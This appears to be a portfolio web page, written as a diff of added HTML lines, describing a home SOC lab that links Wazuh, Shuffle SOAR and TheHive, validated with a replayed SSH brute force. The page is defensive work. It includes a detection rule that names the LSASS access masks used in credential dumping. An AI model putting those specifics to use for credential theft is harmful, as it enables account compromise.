| + | <meta name="description" content="An end-to-end detection-to-response pipeline wiring Wazuh detection into Shuffle SOAR and TheHive case management, deployed and validated live against a replayed SSH brute force."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | /* detail pages */ | |
| + | .detail-hero{padding:40px 0 28px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:22px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(28px,5vw,42px);margin:0 0 12px;letter-spacing:-.6px;} | |
| + | .detail-hero .tagline{font-size:clamp(16px,2.2vw,19px);color:var(--soft);max-width:780px;margin:0 0 18px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(148px,1fr));gap:12px;margin-top:24px;} | |
| + | figure{margin:0;} | |
| + | .shot{border:1px solid var(--line2);border-radius:12px;overflow:hidden;background:#fff;margin:30px 0 6px;} | |
| + | .shot img,.shot video{display:block;width:100%;height:auto;} | |
| + | figcaption{font-size:13px;color:var(--muted);margin:11px 2px 0;} | |
| + | .content{padding:6px 0 0;} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:44px 0 16px;font-weight:600;border-top:1px solid var(--line);padding-top:30px;} | |
| + | .content h2.first{border-top:none;padding-top:6px;margin-top:18px;} | |
| + | .content p{color:var(--soft);margin:0 0 16px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 16px;padding-left:22px;} | |
| + | .content li{margin:6px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:13px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.5px;color:var(--soft);line-height:1.62;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.5px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content td code{font-size:12px;} | |
| + | .gallery{margin-top:8px;} | |
| + | .repo-line{margin:42px 0 0;color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | </style> | |
| + | <!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/soc-automation-lab/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="SOC Automation Lab | Zion Boggan"> | |
| + | <meta property="og:description" content="An end-to-end detection-to-response pipeline wiring Wazuh detection into Shuffle SOAR and TheHive case management, deployed and validated live against a replayed SSH brute force."> | |
| + | <meta property="og:url" content="https://zionboggan.com/soc-automation-lab/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/soc-automation-lab/01-wazuh-threat-hunting.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="SOC Automation Lab | Zion Boggan"> | |
| + | <meta name="twitter:description" content="An end-to-end detection-to-response pipeline wiring Wazuh detection into Shuffle SOAR and TheHive case management, deployed and validated live against a replayed SSH brute force."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/soc-automation-lab/01-wazuh-threat-hunting.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"SOC Automation Lab","description":"An end-to-end detection-to-response pipeline wiring Wazuh detection into Shuffle SOAR and TheHive case management, deployed and validated live against a replayed SSH brute force.","url":"https://zionboggan.com/soc-automation-lab/","image":"https://zionboggan.com/assets/soc-automation-lab/01-wazuh-threat-hunting.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head> | |
| + | <body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"> | |
| + | <a href="/#oversight">Oversight</a> | |
| + | <a href="/#labs">Labs</a> | |
| + | <a href="/#research">Research</a> | |
| + | <a href="/#background">Background</a> | |
| + | <a href="/">Home</a> | |
| + | </span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/#labs">← All work</a> | |
| + | <div class="kicker">SOC AUTOMATION</div> | |
| + | <h1>SOC Automation Lab</h1> | |
| + | <p class="tagline">An end-to-end detection-to-response pipeline wiring Wazuh detection into Shuffle SOAR and TheHive case management, deployed and validated live against a replayed SSH brute force.</p> | |
| + | <div class="tags"><span>Wazuh</span><span>TheHive</span><span>Shuffle</span><span>Cortex</span><span>MITRE ATT&CK</span><span>SOAR</span><span>VirusTotal</span><span>AlienVault OTX</span><span>Docker</span><span>Sysmon</span></div> | |
| + | <div class="facts"><div class="stat"><div class="n">7</div><div class="k">Services in the SIEM stack</div></div><div class="stat"><div class="n">11</div><div class="k">Custom detection rules</div></div><div class="stat"><div class="n">340</div><div class="k">Alerts in the live test</div></div><div class="stat"><div class="n">53</div><div class="k">SSH auth failures ingested</div></div><div class="stat"><div class="n">10</div><div class="k">Integration handoff level</div></div><div class="stat"><div class="n">1</div><div class="k">Agent enrolled (forge)</div></div></div> | |
| + | <div class="cta" style="margin-top:24px"></div> | |
| + | </div></header> | |
| + | <section><div class="wrap"> | |
| + | <figure class="shot"><img loading="lazy" src="/assets/soc-automation-lab/01-wazuh-threat-hunting.png" alt="Threat Hunting dashboard from the live test: 340 total alerts, 53 SSH authentication failures from the enrolled agent, broken down by MITRE ATT&CK technique."></figure><figcaption>Threat Hunting dashboard from the live test: 340 total alerts, 53 SSH authentication failures from the enrolled agent, broken down by MITRE ATT&CK technique.</figcaption> | |
| + | <div class="content"> | |
| + | <h2>Architecture and data flow</h2> | |
| + | <p>The pipeline runs detection, orchestration, and case management as three decoupled layers, with the SIEM only needing to know one webhook URL:</p><ol><li>Agents on Windows and Linux endpoints ship logs and Sysmon events to the Wazuh manager over an encrypted channel on 1514/tcp.</li><li>The manager decodes events against the bundled ruleset plus the custom rules in <code>local_rules.xml</code>.</li><li>Any alert at level 10 or higher matches the <code><integration></code> block and the manager invokes <code>custom-thehive</code>, which forwards a normalized payload to the Shuffle webhook.</li><li>Shuffle resolves the indicator of interest (source or destination IP), pulls reputation from VirusTotal and OTX, and computes a verdict score.</li><li>A TheHive case is opened with the score-derived severity, the indicator is attached as an observable flagged as an IOC, and the analyst channel gets a message linking the case.</li></ol><p>The handoff lives in the manager's <code>ossec.conf</code> — level 10 is the line between “stays in the dashboard” and “worth a case”:</p><pre><code><integration> | |
| + | <name>custom-thehive</name> | |
| + | <hook_url>SET_FROM_ENV_SHUFFLE_WEBHOOK_URL</hook_url> | |
| + | <level>10</level> | |
| + | <alert_format>json</alert_format> | |
| + | </integration></code></pre> | |
| + | <h2>The stack</h2> | |
| + | <p>The SIEM and case-management side is one Compose project of seven services: the three Wazuh components, plus TheHive backed by Cassandra and Elasticsearch with Cortex available for observable analyzers. Versions are pinned across the board — Wazuh 4.9.0, TheHive 5.4, Cortex 3.1.8, Cassandra 4.1, Elasticsearch 7.17.20. A trimmed excerpt:</p><pre><code>services: | |
| + | wazuh.indexer: | |
| + | image: wazuh/wazuh-indexer:4.9.0 | |
| + | ports: | |
| + | - "9200:9200" | |
| + | environment: | |
| + | - OPENSEARCH_JAVA_OPTS=-Xms1g -Xmx1g | |
| + | - bootstrap.memory_lock=true | |
| + | ||
| + | wazuh.manager: | |
| + | image: wazuh/wazuh-manager:4.9.0 | |
| + | depends_on: | |
| + | - wazuh.indexer | |
| + | ports: | |
| + | - "1514:1514" | |
| + | - "1515:1515" | |
| + | - "55000:55000" | |
| + | ||
| + | thehive: | |
| + | image: strangebee/thehive:5.4.0-1 | |
| + | depends_on: | |
| + | - cassandra | |
| + | - elasticsearch | |
| + | - cortex | |
| + | ports: | |
| + | - "${THEHIVE_PORT}:9000"</code></pre><p>Shuffle runs as its own four-service Compose project (<code>shuffle-database</code> on OpenSearch 2.14.0, <code>shuffle-backend</code>, <code>shuffle-frontend</code>, <code>shuffle-orborus</code>, all pinned to 1.4.0) so it survives a teardown of the SIEM side.</p> | |
| + | <h2>Custom detections</h2> | |
| + | <p><code>local_rules.xml</code> adds eleven detections on top of the Wazuh ruleset, each mapped to a MITRE ATT&CK technique so cases arrive tagged:</p><table><thead><tr><th>Rule</th><th>Detection</th><th>Technique</th></tr></thead><tbody><tr><td>100101</td><td>Process launched from a user-writable path</td><td>T1059</td></tr><tr><td>100102</td><td>Office application spawns a scripting host</td><td>T1566 / T1059.001</td></tr><tr><td>100110</td><td>Suspicious LSASS access (credential dumping)</td><td>T1003.001</td></tr><tr><td>100120 / 100121</td><td>New service and scheduled-task persistence</td><td>T1543.003 / T1053.005</td></tr><tr><td>100200 / 100201</td><td>SSH and RDP brute force</td><td>T1110</td></tr><tr><td>100210–100212</td><td>CTI watchlist hits (IP, domain, hash)</td><td>T1071 / T1204</td></tr></tbody></table><p>The LSASS-access rule is the kind of thing the bundled ruleset doesn't ship — it keys off a Sysmon process-access event against <code>lsass.exe</code> with one of the granted-access masks that credential dumpers request:</p><pre><code><rule id="100110" level="12"> | |
| + | <if_sid>61609</if_sid> | |
| + | <field name="win.eventdata.targetImage" type="pcre2">(?i)\\lsass\.exe$</field> | |
| + | <field name="win.eventdata.grantedAccess" type="pcre2">0x1010|0x1410|0x143a|0x1fffff</field> | |
| + | <description>Suspicious LSASS access - possible credential dumping</description> | |
| + | <mitre> | |
| + | <id>T1003.001</id> | |
| + | </mitre> | |
| + | </rule></code></pre> | |
| + | <h2>The SOAR workflow</h2> | |
| + | <p>The exported Shuffle workflow (<code>wazuh-thehive-enrichment.json</code>) is a webhook trigger fanning into seven actions: a router that picks the indicator, parallel VirusTotal and OTX lookups, a Python scoring step, TheHive case creation, observable attachment, and a Slack notification. The router and both lookups feed the scoring node, which gates everything downstream. The scoring step turns reputation counts into a TheHive severity:</p><pre><code>vt = int($action_vt.last_analysis_stats.malicious or 0) | |
| + | otx = int($action_otx.pulse_info.count or 0) | |
| + | score = vt * 2 + otx | |
| + | severity = 3 if score >= 6 else (2 if score >= 2 else 1) | |
| + | return {"score": score, "severity": severity, "vt_malicious": vt, "otx_pulses": otx}</code></pre><p>The case node carries the agent, the rule, the reputation counts, and the raw log into the description, and tags the case with the rule's MITRE id. A missing VirusTotal result is coerced to zero rather than failing the case creation, so the free tier's 4 req/min limit never drops an alert. The indicator is then attached as an observable flagged as an IOC, so it flows into TheHive's observable history and can be swept against other cases.</p> | |
| + | <h2>Live validation</h2> | |
| + | <p>The lab was stood up single-node with a Linux endpoint (<code>forge</code>, Ubuntu 22.04) enrolled and reporting in, then an SSH brute force was replayed against it. The Threat Hunting dashboard showed <strong>340</strong> total alerts with <strong>53</strong> real SSH authentication failures ingested from the agent, every detection auto-mapped to MITRE ATT&CK across Password Guessing, SSH, and Brute Force categories. The escalation rule that fired collapses a burst of Wazuh's per-failure 5710 events into one level-10 brute-force alert:</p><pre><code><rule id="100200" level="10" frequency="8" timeframe="120"> | |
| + | <if_matched_sid>5710</if_matched_sid> | |
| + | <same_source_ip /> | |
| + | <description>SSH brute force - 8 failed logins from $(srcip) in 120s</description> | |
| + | <mitre> | |
| + | <id>T1110</id> | |
| + | </mitre> | |
| + | </rule></code></pre><p>For CTI-list hits, rule 100210 is also wired to active response: the manager issues a <code>firewall-drop</code> on the endpoint for 600 seconds while the analyst confirms. The block is scoped to a single rule on purpose — auto-blocking on a noisier rule would be a fast way to firewall yourself out of your own hosts.</p> | |
| + | <h2>Agent enrollment</h2> | |
| + | <p>The manager runs registration on 1515/tcp with <code>force</code> enabled so a re-enrolling host reclaims its slot rather than piling up duplicates. Linux endpoints enroll through a helper that adds the Wazuh apt repo and installs the agent pinned to the manager's version:</p><pre><code>curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | gpg --no-default-keyring \ | |
| + | --keyring gnupg-ring:/usr/share/keyrings/wazuh.gpg --import | |
| + | echo "deb [signed-by=/usr/share/keyrings/wazuh.gpg] https://packages.wazuh.com/4.x/apt/ stable main" \ | |
| + | > /etc/apt/sources.list.d/wazuh.list | |
| + | apt-get update | |
| + | WAZUH_MANAGER="${WAZUH_MANAGER}" WAZUH_AGENT_GROUP="${WAZUH_AGENT_GROUP}" \ | |
| + | apt-get install -y "wazuh-agent=${WAZUH_VERSION}" | |
| + | systemctl enable --now wazuh-agent</code></pre><p>Windows hosts use a PowerShell counterpart that pulls the MSI and registers it into the Sysmon-aware <code>windows</code> group, so process-creation and network events arrive with enough context for the rules above to be useful:</p><pre><code>WAZUH_MANAGER=REDACTED-IP ./scripts/enroll-agent.sh | |
| + | .\scripts\enroll-agent.ps1 -Manager REDACTED-IP -Group windows</code></pre> | |
| + | <h2>Deployment notes</h2> | |
| + | <p>A few things that bit during bring-up and are worth knowing before running this somewhere real:</p><ul><li><strong>Indexer compatibility.</strong> Filebeat 7.10 refuses to publish to an indexer that reports an OpenSearch 2.x version, so the indexer config sets <code>compatibility.override_main_response_version: true</code>. Without it the manager produces alerts but nothing reaches the indexer and the dashboard stays empty.</li><li><strong>Memory locking under LXC.</strong> The committed config locks memory (<code>bootstrap.memory_lock=true</code>, <code>memlock: -1</code>), which is correct for bare metal. Inside an unprivileged LXC the kernel caps locked memory and the indexer and Elasticsearch fail with an rlimit error; the fix is a <code>docker-compose.override.yml</code> that disables locking rather than editing the committed file.</li><li><strong>vm.max_map_count.</strong> Must be at least 262144 on the host for both the indexer and Elasticsearch; in an LXC it's inherited from the node, so it has to be set there.</li><li><strong>CTI watchlists.</strong> The <code>cti-malicious-*</code> CDB lists are seeded by <code>deploy.sh</code> after the stack is up — they have to be writable so the manager can compile them, which rules out bind-mounting them read-only.</li></ul><p>This is a lab build. Production would split the Wazuh indexer and TheHive's Cassandra and Elasticsearch onto their own nodes with real resource headroom.</p> | |
| + | </div> | |
| + | <div class="gallery"><figure class="shot"><img loading="lazy" src="/assets/soc-automation-lab/02-wazuh-agent.png" alt="The enrolled Linux endpoint (forge, Ubuntu 22.04) active and shipping telemetry to the Wazuh manager."></figure><figcaption>The enrolled Linux endpoint (forge, Ubuntu 22.04) active and shipping telemetry to the Wazuh manager.</figcaption></div> | |
| + | <p class="repo-line">Repository · github.com/zionboggan/soc-automation-lab</p> | |
| + | </div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"> | |
| + | <a href="/">Portfolio</a> | |
| + | <a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a> | |
| + | <a href="https://oversightprotocol.dev/">Oversight</a> | |
| + | <a href="mailto:zionboggan0@gmail.com">Email</a> | |
| + | </div> | |
| + | <div class="note">Built and deployed on a self-hosted Proxmox homelab. This page mirrors the | |
| + | project's documentation and results so the work is fully viewable here.</div> | |
| + | </div></footer> | |
| + | </body> | |
| + | </html> |